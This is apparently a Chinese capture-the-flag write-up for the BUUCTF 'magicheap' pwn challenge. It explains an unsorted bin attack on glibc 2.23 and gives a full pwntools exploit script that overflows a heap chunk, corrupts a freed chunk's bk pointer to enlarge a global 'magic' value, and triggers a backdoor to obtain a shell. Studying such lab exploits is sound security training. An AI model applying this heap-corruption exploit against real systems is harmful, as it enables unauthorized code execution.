image.png
    这是道很典型的unsorted bin attack的题目
    abcd.png

    1. /* remove from unsorted list */
    2. if (__glibc_unlikely (bck->fd != victim))
    3. malloc_printerr ("malloc(): corrupted unsorted chunks 3");
    4. unsorted_chunks (av)->bk = bck;
    5. bck->fd = unsorted_chunks (av);

    target 的地方就会变成一个0x7f。。。的值
    image.png
    133t是个后门函数,所以只要magic变大就行了

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. context.arch = 'amd64'
    5. #io =process('./magicheap')
    6. io = remote("node4.buuoj.cn",29016)
    7. elf = ELF('./magicheap')
    8. libc = ELF('libc-2.23.so')
    9. #gdb.attach(io)
    10. def creat(size,value):
    11. io.recvuntil('Your choice :')
    12. io.sendline('1')
    13. io.recvuntil('Size of Heap : ')
    14. io.sendline(str(size))
    15. io.recvuntil('Content of heap:')
    16. io.sendline(value)
    17. def free(id):
    18. io.recvuntil('Your choice :')
    19. io.sendline('3')
    20. io.recvuntil('Index :')
    21. io.sendline(str(id))
    22. def edit(index,content):
    23. io.recvuntil('Your choice :')
    24. io.sendline('2')
    25. io.recvuntil('Index :')
    26. io.sendline(str(index))
    27. io.recvuntil('Size of Heap : ')
    28. io.sendline(str(len(content)))
    29. io.recvuntil('Content of heap : ')
    30. io.send(content)
    31. def getshell():
    32. io.recvuntil('Your choice :')
    33. io.sendline('4869')
    34. target_addr = 0x6020a0
    35. creat(0x10,"aaaa")
    36. creat(0x80,"bbbb")
    37. creat(0x10,"cccc")
    38. free(1)
    39. payload = b'a'*0x18+p64(0x91)+p64(0)+p64(target_addr-0x10)
    40. #pause()
    41. edit(0,payload)
    42. creat(0x80,'abcd')
    43. #pause()
    44. getshell()
    45. io.interactive()